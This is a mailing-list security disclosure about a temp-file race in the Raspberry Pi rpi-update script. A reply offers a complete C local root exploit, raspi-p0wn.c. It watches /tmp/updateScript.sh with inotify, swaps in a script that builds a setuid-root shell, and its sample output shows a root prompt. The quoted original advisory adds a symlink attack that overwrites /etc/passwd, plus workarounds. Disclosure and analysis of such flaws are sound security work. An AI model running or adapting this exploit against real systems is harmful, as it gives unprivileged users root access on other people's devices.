Date: Wed, 06 Mar 2013 02:25:27 +0000 (GMT)
From: "Larry W. Cashdollar" <larry0@...com>
To: bugtraq@...urityfocus.com
Cc: full <full-disclosure@...ts.grok.org.uk>,
 Packet Storm <packet@...ketstormsecurity.org>, Technion <technion@...ware.net>
Subject: Re: rpi-update tmpfile vulnerability


Hello everyone,

I took a closer look at this vulnerability here is my exploit to share:

 45         cat > /tmp/updateScript.sh << EOF <-- if we own it first, wait for I_MODIFY and inject our malicious code
 46         #!/bin/bash
 47         if mv "${_tempFileName}" "$0"; then
 48                 rm -- "\$0"
 49                 exec env UPDATE_SELF=0 /bin/bash "$0" "${FW_REV}"
 50         else
 51                 echo " !!! Failed!"
 52         fi
 53 EOF
 54
 55         echo " *** Relaunching after update" 
 56         exec /bin/bash /tmp/updateScript.sh <-- just runs whatever is here
 

This will poop out a root prompt for you!

raspi-p0wn.c
----------------------------------------

/*Local root exploit for rpi-update on raspberry Pi.
Vulnerability discovered by Technion,  technion@...ware.net

https://github.com/Hexxeh/rpi-update/


larry@...0le:~$ ./rpix updateScript.sh
[*] Launching attack against "updateScript.sh"
[+] Creating evil script (/tmp/evil)
[+] Creating target file (/usr/bin/touch /tmp/updateScript.sh)
[+] Initialize inotify on /tmp/updateScript.sh
[+] Waiting for root to change perms on "updateScript.sh"
[+] Opening root shell (/tmp/sh)
# <-- Yay!


Larry W. Cashdollar
http://vapid.dhs.org
@_larry0

Greets to Vladz.
*/

#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <string.h>
#include <sys/inotify.h>
#include <fcntl.h>
#include <sys/syscall.h>

/*Create a small c program to pop us a root shell*/
int create_nasty_shell(char *file) {
  char *s = "#!/bin/bash\n"
            "echo 'main(){setuid(0);execve(\"/bin/sh\",0,0);}'>/tmp/sh.c\n"
            "cc /tmp/sh.c -o /tmp/sh; chown root:root /tmp/sh\n"
            "chmod 4755 /tmp/sh;\n";

  int fd = open(file, O_CREAT|O_RDWR, S_IRWXU|S_IRWXG|S_IRWXO);
  write(fd, s, strlen(s));
  close(fd);

  return 0;
}


int main(int argc, char **argv) {
  int fd, wd;
  char buf[1], *targetpath, *cmd,
       *evilsh = "/tmp/evil", *trash = "/tmp/trash";

  if (argc < 2) {
    printf("Usage: %s <target file> \n", argv[0]);
    return 1;
  }

  printf("[*] Launching attack against \"%s\"\n", argv[1]);

  printf("[+] Creating evil script (/tmp/evil)\n");
  create_nasty_shell(evilsh);

  targetpath = malloc(sizeof(argv[1]) + 32);
  cmd = malloc(sizeof(char) * 32);
  sprintf(targetpath, "/tmp/%s", argv[1]);
  sprintf(cmd,"/usr/bin/touch %s",targetpath);
  printf("[+] Creating target file (%s)\n",cmd);
  system(cmd);

  printf("[+] Initialize inotify on %s\n",targetpath);
  fd = inotify_init();
  wd = inotify_add_watch(fd, targetpath, IN_MODIFY);

  printf("[+] Waiting for root to modify :\"%s\"\n", argv[1]);
  syscall(SYS_read, fd, buf, 1);
  syscall(SYS_rename, targetpath,  trash);
  syscall(SYS_rename, evilsh, targetpath);

  inotify_rm_watch(fd, wd);

  printf("[+] Opening root shell (/tmp/sh)\n");
  sleep(2);
  system("rm -fr /tmp/trash;/tmp/sh || echo \"[-] Failed.\"");

  return 0;
}

On Feb 28, 2013, at 04:19 PM, Technion <technion@...ware.net> wrote:

> Raspberry Pi Firmware Updater Vulnerability
>
> Application:
> https://github.com/Hexxeh/rpi-update/
>
> Version Tested:
> Github source as of 10ad1e975a (10th Feb commit)
>
> Vulnerability #1:
> A malicious user can clobber any file due to insecure tmp file handling.
>
> Example:
>
> Any unprivileged user can create the following symlink, either from
> a shell account, or by malicious web content such as PHP scripts.
> pi@...pberrypi ~ $ ln -s /etc/passwd /tmp/updateScript.sh
>
> Once in place, the symlink is awaiting the administrator to run an update:
> pi@...pberrypi ~ $ sudo rpi-update
> ...
> pi@...pberrypi ~ $ cat /etc/passwd
> #!/bin/bash
> if mv "./testfile.sh.tmp" "./testfile.sh"; then
> rm -- "$0"
> exec env UPDATE_SELF=0 /bin/bash "./testfile.sh" ""
> else
> echo " !!! Failed!"
> fi
>
> As of this point, the pi is quite unusable due to the corrupted password database.
> Note that the attacker cannot customise the content, for example, to set
> a UID0 account.
>
> Vulnerability #2:
> The installation recommends the following command:
> sudo wget http://goo.gl/1BOfJ -O /usr/bin/rpi-update && sudo chmod +x /usr/bin/rpi-update
>
> Although the selfupdate functionality utilises SSL to ensure the integrity of the download, the installation process uses a URL shortening service without SSL to download the bash script, which the user is then encouraged to run as the root user.
>
> Fix and Vendor Response
> A pull request detailing exploit #1 and including a simple patch was submitted February 6th. The patch has not yet been accepted.
>
> Workaround
> By running rpi-update with the self update feature disabled, the affected code is not executed. Example:
> sudo UPDATE_SELF=0 rpi-update
>
> If you would like to update the application manually, or perform an initial installation safely, use the following commands:
> wget https://github.com/Hexxeh/rpi-update/raw/master/rpi-update
> sudo cp rpi-update /usr/bin/rpi-update && sudo chmod +x /usr/bin/rpi-update
>
> Note that applying the patch in my pull request will not be a complete solution, as it will be reverted after the first automatic update.
>
> technion@...ware.net
>
>

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